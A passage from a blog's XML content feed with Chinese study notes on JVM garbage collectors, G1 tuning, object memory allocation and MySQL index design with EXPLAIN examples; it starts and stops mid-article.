id="Evacuation-Failure（晋升失败）"><a href="#Evacuation-Failure（晋升失败）" class="headerlink" title="Evacuation Failure（晋升失败）"></a>Evacuation Failure（晋升失败）</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">日志：to-space exhausted</span><br><span class="line">原因：复制存活对象时，Survivor/Old 空间不足</span><br><span class="line">解决：</span><br><span class="line">- 增大堆内存</span><br><span class="line">- 降低 MaxGCPauseMillis（回收更多Region）</span><br><span class="line">- 提前触发并发标记（降低 IHOP）</span><br></pre></td></tr></table></figure><h4 id="Humongous-Allocation-Failure"><a href="#Humongous-Allocation-Failure" class="headerlink" title="Humongous Allocation Failure"></a>Humongous Allocation Failure</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">日志：G1 Humongous Allocation</span><br><span class="line">原因：大对象分配失败</span><br><span class="line">解决：</span><br><span class="line">- 避免大对象</span><br><span class="line">- 增大Region大小</span><br><span class="line">- 增大堆内存</span><br></pre></td></tr></table></figure><h2 id="G1-vs-CMS"><a href="#G1-vs-CMS" class="headerlink" title="G1 vs CMS"></a>G1 vs CMS</h2><table><thead><tr><th>特性</th><th>G1</th><th>CMS</th></tr></thead><tbody><tr><td>算法</td><td>复制+整理</td><td>标记-清除</td></tr><tr><td>碎片</td><td>无</td><td>有</td></tr><tr><td>停顿时间</td><td>可预测</td><td>较短但不可预测</td></tr><tr><td>内存占用</td><td>较高（RSet）</td><td>较低</td></tr><tr><td>大对象</td><td>Region化</td><td>直接入Old</td></tr><tr><td>调优复杂度</td><td>简单</td><td>复杂</td></tr><tr><td>推荐版本</td><td>JDK 9+</td><td>JDK 8 及之前</td></tr></tbody></table><h2 id="生产环境配置示例"><a href="#生产环境配置示例" class="headerlink" title="生产环境配置示例"></a>生产环境配置示例</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 16GB 堆内存，目标停顿 200ms</span></span><br><span class="line">java \</span><br><span class="line">  -Xms16g -Xmx16g \</span><br><span class="line">  -XX:+UseG1GC \</span><br><span class="line">  -XX:MaxGCPauseMillis=200 \</span><br><span class="line">  -XX:InitiatingHeapOccupancyPercent=35 \</span><br><span class="line">  -XX:+PrintGCDetails \</span><br><span class="line">  -XX:+PrintGCDateStamps \</span><br><span class="line">  -Xloggc:/var/log/app/gc.log \</span><br><span class="line">  -jar application.jar</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>G1 通过 Region 化和 Remembered Set，实现了：</p><ol><li><strong>可预测的停顿时间</strong>：控制每次回收的 Region 数量</li><li><strong>无内存碎片</strong>：复制算法整理内存</li><li><strong>高并发友好</strong>：多数阶段与用户线程并发</li></ol><p>对于大多数现代 Java 应用，G1 是首选收集器。调优的核心是找到停顿时间和吞吐量的最佳平衡点。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="EXPLAIN-执行计划应该看哪些字段"><a href="#EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="EXPLAIN 执行计划应该看哪些字段"></a>EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>垃圾回收算法与收集器对比</title>
      <link href="//la-ji-hui-shou-suan-fa-yu-shou-ji-qi-dui-bi/"/>
      <url>//la-ji-hui-shou-suan-fa-yu-shou-ji-qi-dui-bi/</url>
      
        <content type="html"><![CDATA[<h1 id="垃圾回收算法与收集器对比"><a href="#垃圾回收算法与收集器对比" class="headerlink" title="垃圾回收算法与收集器对比"></a>垃圾回收算法与收集器对比</h1><p>垃圾回收（GC）是 JVM 自动管理内存的核心机制。理解各种 GC 算法和收集器，是 JVM 调优的基础。</p><h2 id="判断对象是否存活"><a href="#判断对象是否存活" class="headerlink" title="判断对象是否存活"></a>判断对象是否存活</h2><h3 id="引用计数法"><a href="#引用计数法" class="headerlink" title="引用计数法"></a>引用计数法</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">对象A (ref_count=2) &lt;-- 对象B引用</span><br><span class="line">                 &lt;-- 对象C引用</span><br></pre></td></tr></table></figure><p><strong>缺点</strong>：无法解决循环引用问题。</p><h3 id="可达性分析（JVM采用）"><a href="#可达性分析（JVM采用）" class="headerlink" title="可达性分析（JVM采用）"></a>可达性分析（JVM采用）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GC Roots</span><br><span class="line">├── 虚拟机栈中的本地变量</span><br><span class="line">├── 方法区中静态属性引用的对象</span><br><span class="line">├── 方法区中常量引用的对象</span><br><span class="line">├── 本地方法栈中JNI引用的对象</span><br><span class="line">└── 所有被同步锁持有的对象</span><br><span class="line"></span><br><span class="line">从GC Roots开始向下搜索，不可达的对象可被回收</span><br></pre></td></tr></table></figure><h2 id="垃圾回收算法"><a href="#垃圾回收算法" class="headerlink" title="垃圾回收算法"></a>垃圾回收算法</h2><h3 id="1-标记-清除（Mark-Sweep）"><a href="#1-标记-清除（Mark-Sweep）" class="headerlink" title="1. 标记-清除（Mark-Sweep）"></a>1. 标记-清除（Mark-Sweep）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阶段1：标记所有存活对象</span><br><span class="line">┌─────────────────┐</span><br><span class="line">│ ██  ░░  ██  ░░  │  ██=存活  ░░=垃圾</span><br><span class="line">└─────────────────┘</span><br><span class="line"></span><br><span class="line">阶段2：清除垃圾对象</span><br><span class="line">┌─────────────────┐</span><br><span class="line">│ ██      ██      │  产生内存碎片</span><br><span class="line">└─────────────────┘</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：简单<br><strong>缺点</strong>：产生内存碎片，分配大对象时可能失败</p><h3 id="2-复制（Copying）"><a href="#2-复制（Copying）" class="headerlink" title="2. 复制（Copying）"></a>2. 复制（Copying）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阶段1：将存活对象复制到另一块内存</span><br><span class="line">From空间              To空间</span><br><span class="line">┌──────────┐        ┌──────────┐</span><br><span class="line">│ ██  ░░   │   --&gt;  │ ██  ██   │</span><br><span class="line">│ ██  ░░   │        │          │</span><br><span class="line">└──────────┘        └──────────┘</span><br><span class="line"></span><br><span class="line">阶段2：清空From空间，交换角色</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：无碎片，效率高<br><strong>缺点</strong>：内存利用率只有 50%</p><h3 id="3-标记-整理（Mark-Compact）"><a href="#3-标记-整理（Mark-Compact）" class="headerlink" title="3. 标记-整理（Mark-Compact）"></a>3. 标记-整理（Mark-Compact）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阶段1：标记存活对象</span><br><span class="line">┌─────────────────┐</span><br><span class="line">│ ██  ░░  ██  ░░  │</span><br><span class="line">└─────────────────┘</span><br><span class="line"></span><br><span class="line">阶段2：将存活对象向一端移动</span><br><span class="line">┌─────────────────┐</span><br><span class="line">│ ██  ██          │  无碎片</span><br><span class="line">└─────────────────┘</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：无碎片，内存利用率高<br><strong>缺点</strong>：移动对象需要更新引用，停顿时间较长</p><h2 id="垃圾收集器"><a href="#垃圾收集器" class="headerlink" title="垃圾收集器"></a>垃圾收集器</h2><h3 id="1-Serial-收集器"><a href="#1-Serial-收集器" class="headerlink" title="1. Serial 收集器"></a>1. Serial 收集器</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">单线程：</span><br><span class="line">┌────────┬────────┬────────┐</span><br><span class="line">│ 工作   │  GC    │  工作   │</span><br><span class="line">└────────┴────────┴────────┘</span><br><span class="line">       Stop The World</span><br></pre></td></tr></table></figure><ul><li><strong>新生代</strong>：复制算法</li><li><strong>老年代</strong>：Serial Old（标记-整理）</li><li><strong>特点</strong>：单线程，简单高效</li><li><strong>适用</strong>：客户端模式、内存小的场景</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseSerialGC</span><br></pre></td></tr></table></figure><h3 id="2-ParNew-收集器"><a href="#2-ParNew-收集器" class="headerlink" title="2. ParNew 收集器"></a>2. ParNew 收集器</h3><p>Serial 的多线程版本，唯一能与 CMS 配合的新生代收集器。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseParNewGC</span><br><span class="line">-XX:ParallelGCThreads=4</span><br></pre></td></tr></table></figure><h3 id="3-Parallel-Scavenge-收集器"><a href="#3-Parallel-Scavenge-收集器" class="headerlink" title="3. Parallel Scavenge 收集器"></a>3. Parallel Scavenge 收集器</h3><p><strong>目标</strong>：达到可控的吞吐量。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">吞吐量 = 运行用户代码时间 / (运行用户代码时间 + GC时间)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseParallelGC           <span class="comment"># 使用Parallel Scavenge + Parallel Old</span></span><br><span class="line">-XX:MaxGCPauseMillis=200     <span class="comment"># 最大GC停顿时间</span></span><br><span class="line">-XX:GCTimeRatio=99           <span class="comment"># 吞吐量 = 99 / (1 + 99) = 99%</span></span><br><span class="line">-XX:+UseAdaptiveSizePolicy   <span class="comment"># 自适应调节策略</span></span><br></pre></td></tr></table></figure><p><strong>适用</strong>：后台计算型任务。</p><h3 id="4-CMS-收集器（Concurrent-Mark-Sweep）"><a href="#4-CMS-收集器（Concurrent-Mark-Sweep）" class="headerlink" title="4. CMS 收集器（Concurrent Mark Sweep）"></a>4. CMS 收集器（Concurrent Mark Sweep）</h3><p><strong>目标</strong>：最短停顿时间。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阶段1：初始标记（STW，很快）</span><br><span class="line">阶段2：并发标记（与用户线程并发）</span><br><span class="line">阶段3：重新标记（STW，比初始标记长）</span><br><span class="line">阶段4：并发清除（与用户线程并发）</span><br><span class="line"></span><br><span class="line">┌────┬──────────────────┬────┬──────────────────┐</span><br><span class="line">│STW │     并发标记      │STW│     并发清除      │</span><br><span class="line">└────┴──────────────────┴────┴──────────────────┘</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：低停顿<br><strong>缺点</strong>：</p><ul><li>内存碎片（Mark-Sweep）</li><li>对 CPU 资源敏感</li><li>无法处理浮动垃圾（Concurrent Mode Failure）</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseConcMarkSweepGC</span><br><span class="line">-XX:CMSInitiatingOccupancyFraction=70  <span class="comment"># 老年代70%时触发CMS</span></span><br><span class="line">-XX:+UseCMSCompactAtFullCollection      <span class="comment"># Full GC时压缩</span></span><br></pre></td></tr></table></figure><h3 id="5-G1-收集器（Garbage-First）"><a href="#5-G1-收集器（Garbage-First）" class="headerlink" title="5. G1 收集器（Garbage First）"></a>5. G1 收集器（Garbage First）</h3><p>JDK 9 后的默认收集器。</p><h4 id="设计思想"><a href="#设计思想" class="headerlink" title="设计思想"></a>设计思想</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌────┬────┬────┬────┬────┬────┬────┬────┐</span><br><span class="line">│ E  │ S  │ O  │ H  │ O  │ E  │ S  │ O  │  Region（1~32MB）</span><br><span class="line">└────┴────┴────┴────┴────┴────┴────┴────┘</span><br><span class="line"></span><br><span class="line">E=Eden, S=Survivor, O=Old, H=Humongous(大对象)</span><br></pre></td></tr></table></figure><ul><li>将堆划分为多个 Region</li><li>优先回收垃圾最多的 Region（Garbage First）</li></ul><h4 id="回收过程"><a href="#回收过程" class="headerlink" title="回收过程"></a>回收过程</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Young GC：</span><br><span class="line">┌────┬────┬────┬────┬────┬────┬────┬────┐</span><br><span class="line">│ E  │ E  │ E  │    │    │    │    │    │  回收Eden Region</span><br><span class="line">└────┴────┴────┴────┴────┴────┴────┴────┘</span><br><span class="line">         ↓</span><br><span class="line">┌────┬────┬────┬────┬────┬────┬────┬────┐</span><br><span class="line">│ S  │    │    │ O  │    │    │    │    │  存活对象-&gt;Survivor/Old</span><br><span class="line">└────┴────┴────┴────┴────┴────┴────┴────┘</span><br><span class="line"></span><br><span class="line">Mixed GC（并发标记后）：</span><br><span class="line">回收年轻代 + 部分老年代Region</span><br></pre></td></tr></table></figure><h4 id="参数"><a href="#参数" class="headerlink" title="参数"></a>参数</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseG1GC</span><br><span class="line">-XX:MaxGCPauseMillis=200       <span class="comment"># 目标最大停顿时间</span></span><br><span class="line">-XX:G1HeapRegionSize=16m       <span class="comment"># Region大小</span></span><br><span class="line">-XX:InitiatingHeapOccupancyPercent=45  <span class="comment"># 堆占用45%时触发并发标记</span></span><br></pre></td></tr></table></figure><h3 id="6-ZGC-Shenandoah（低延迟）"><a href="#6-ZGC-Shenandoah（低延迟）" class="headerlink" title="6. ZGC / Shenandoah（低延迟）"></a>6. ZGC / Shenandoah（低延迟）</h3><p>JDK 11+（ZGC）和 JDK 12+（Shenandoah）。</p><p><strong>目标</strong>：TB 级堆内存下停顿时间 &lt; 10ms。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseZGC</span><br><span class="line">-XX:+UseShenandoahGC</span><br></pre></td></tr></table></figure><h2 id="收集器对比"><a href="#收集器对比" class="headerlink" title="收集器对比"></a>收集器对比</h2><table><thead><tr><th>收集器</th><th>算法</th><th>目标</th><th>适用场景</th></tr></thead><tbody><tr><td>Serial</td><td>复制/整理</td><td>简单高效</td><td>单核、小内存</td></tr><tr><td>ParNew</td><td>复制</td><td>降低停顿</td><td>配合CMS</td></tr><tr><td>Parallel Scavenge</td><td>复制/整理</td><td>高吞吐量</td><td>后台计算</td></tr><tr><td>CMS</td><td>标记-清除</td><td>低停顿</td><td>Web应用</td></tr><tr><td>G1</td><td>复制/整理</td><td>平衡</td><td>大堆内存</td></tr><tr><td>ZGC</td><td>复制</td><td>超低停顿</td><td>大堆、低延迟</td></tr></tbody></table><h2 id="组合关系"><a href="#组合关系" class="headerlink" title="组合关系"></a>组合关系</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">新生代              老年代</span><br><span class="line">─────────────────────────────</span><br><span class="line">Serial      +     Serial Old</span><br><span class="line">ParNew      +     CMS</span><br><span class="line">Parallel Scavenge + Parallel Old</span><br><span class="line">G1（同时管理新生代和老年代）</span><br><span class="line">ZGC（同时管理）</span><br></pre></td></tr></table></figure><h2 id="选择建议"><a href="#选择建议" class="headerlink" title="选择建议"></a>选择建议</h2><table><thead><tr><th>场景</th><th>推荐</th></tr></thead><tbody><tr><td>单核/小内存（&lt;100MB）</td><td>Serial</td></tr><tr><td>多核、追求吞吐量</td><td>Parallel Scavenge</td></tr><tr><td>Web应用、追求低延迟</td><td>CMS / G1</td></tr><tr><td>大堆内存（&gt;6G）</td><td>G1</td></tr><tr><td>超大堆、极低延迟要求</td><td>ZGC</td></tr><tr><td>JDK 9+</td><td>G1（默认）</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>算法</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td>标记-清除</td><td>简单</td><td>碎片</td></tr><tr><td>复制</td><td>高效无碎片</td><td>空间减半</td></tr><tr><td>标记-整理</td><td>无碎片</td><td>移动对象开销</td></tr></tbody></table><p>没有最好的收集器，只有最合适的收集器。根据应用特点（延迟敏感 vs 吞吐量优先）和 JDK 版本选择合适的收集器。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-索引设计的几个核心原则"><a href="#MySQL-索引设计的几个核心原则" class="headerlink" title="MySQL 索引设计的几个核心原则"></a>MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>对象创建与内存分配策略</title>
      <link href="//dui-xiang-chuang-jian-yu-nei-cun-fen-pei-ce-lue/"/>
      <url>//dui-xiang-chuang-jian-yu-nei-cun-fen-pei-ce-lue/</url>
      
        <content type="html"><![CDATA[<h1 id="对象创建与内存分配策略"><a href="#对象创建与内存分配策略" class="headerlink" title="对象创建与内存分配策略"></a>对象创建与内存分配策略</h1><p>Java 对象的创建看似简单，但 JVM 内部经历了复杂的流程。理解这个过程有助于优化内存使用和排查问题。</p><h2 id="对象创建流程"><a href="#对象创建流程" class="headerlink" title="对象创建流程"></a>对象创建流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">new关键字</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">类加载检查 -&gt; 是否已加载？</span><br><span class="line">    |否</span><br><span class="line">    v</span><br><span class="line">加载 -&gt; 验证 -&gt; 准备 -&gt; 解析 -&gt; 初始化</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">内存分配（堆）</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">零值初始化</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">设置对象头</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">执行&lt;init&gt;构造方法</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">对象创建完成</span><br></pre></td></tr></table></figure><h2 id="1-类加载检查"><a href="#1-类加载检查" class="headerlink" title="1. 类加载检查"></a>1. 类加载检查</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br></pre></td></tr></table></figure><p>JVM 执行到 new 指令时：</p><ol><li>检查 <code>User</code> 是否已被加载</li><li>未加载则执行类加载流程</li><li>检查类是否 abstract/interface（不能实例化）</li></ol><h2 id="2-内存分配方式"><a href="#2-内存分配方式" class="headerlink" title="2. 内存分配方式"></a>2. 内存分配方式</h2><h3 id="指针碰撞（Bump-the-Pointer）"><a href="#指针碰撞（Bump-the-Pointer）" class="headerlink" title="指针碰撞（Bump the Pointer）"></a>指针碰撞（Bump the Pointer）</h3><p><strong>适用场景</strong>：堆内存规整（Serial、ParNew 等带 Compact 的收集器）。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">已使用    |  空闲</span><br><span class="line">████████|▶ 分配指针移动</span><br><span class="line">        ↑</span><br><span class="line">    碰撞指针</span><br></pre></td></tr></table></figure><p><strong>分配方式</strong>：将指针向空闲方向移动对象大小的距离。</p><h3 id="空闲列表（Free-List）"><a href="#空闲列表（Free-List）" class="headerlink" title="空闲列表（Free List）"></a>空闲列表（Free List）</h3><p><strong>适用场景</strong>：堆内存不规整（CMS 等基于 Mark-Sweep 的收集器）。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">已使用  空闲  已使用  空闲  已使用</span><br><span class="line">███████  ███  ██████  ██████  ████</span><br><span class="line">        ↑</span><br><span class="line">    从空闲列表找合适块</span><br></pre></td></tr></table></figure><p><strong>分配方式</strong>：从空闲列表中找到足够大的内存块分配。</p><h2 id="3-线程安全问题"><a href="#3-线程安全问题" class="headerlink" title="3. 线程安全问题"></a>3. 线程安全问题</h2><h3 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h3><p>多个线程同时分配内存，可能产生冲突。</p><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><p><strong>方案1：CAS + 重试</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 采用CAS保证原子性</span></span><br><span class="line"><span class="keyword">while</span> (CAS(top, top + size)) &#123;</span><br><span class="line">    <span class="comment">// 分配成功</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>方案2：TLAB（Thread Local Allocation Buffer）</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseTLAB        <span class="comment"># 启用TLAB（默认开启）</span></span><br><span class="line">-XX:TLABSize=256k   <span class="comment"># 设置TLAB大小</span></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A的TLAB        线程B的TLAB        共享Eden区</span><br><span class="line">┌──────────┐      ┌──────────┐      ┌──────────┐</span><br><span class="line">│ 分配中... │      │ 分配中... │      │          │</span><br><span class="line">└──────────┘      └──────────┘      └──────────┘</span><br><span class="line"></span><br><span class="line">先在TLAB分配，TLAB满了再在共享区分配（需同步）</span><br></pre></td></tr></table></figure><h2 id="4-对象内存布局"><a href="#4-对象内存布局" class="headerlink" title="4. 对象内存布局"></a>4. 对象内存布局</h2><h3 id="对象头（Header）"><a href="#对象头（Header）" class="headerlink" title="对象头（Header）"></a>对象头（Header）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────┐</span><br><span class="line">│              对象头（64位JVM）           │</span><br><span class="line">├─────────────────────────────────────────┤</span><br><span class="line">│  Mark Word（64bit）                      │</span><br><span class="line">│  ├─ hashCode: 31bit                     │</span><br><span class="line">│  ├─ GC年龄: 4bit                        │</span><br><span class="line">│  ├─ 偏向锁标记: 1bit                     │</span><br><span class="line">│  ├─ 锁状态: 2bit                        │</span><br><span class="line">│  └─ 其他: 26bit                         │</span><br><span class="line">├─────────────────────────────────────────┤</span><br><span class="line">│  Class Metadata Address（64bit）         │</span><br><span class="line">│  （压缩后32bit，UseCompressedOops）      │</span><br><span class="line">├─────────────────────────────────────────┤</span><br><span class="line">│  Array Length（仅数组有，32bit）         │</span><br><span class="line">└─────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h3 id="实例数据（Instance-Data）"><a href="#实例数据（Instance-Data）" class="headerlink" title="实例数据（Instance Data）"></a>实例数据（Instance Data）</h3><p>字段存储顺序：</p><ol><li>long/double</li><li>int/float</li><li>short/char</li><li>byte/boolean</li><li>引用类型</li></ol><p><strong>对齐填充</strong>：对象大小必须是 8 字节的整数倍。</p><h3 id="对象大小计算"><a href="#对象大小计算" class="headerlink" title="对象大小计算"></a>对象大小计算</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 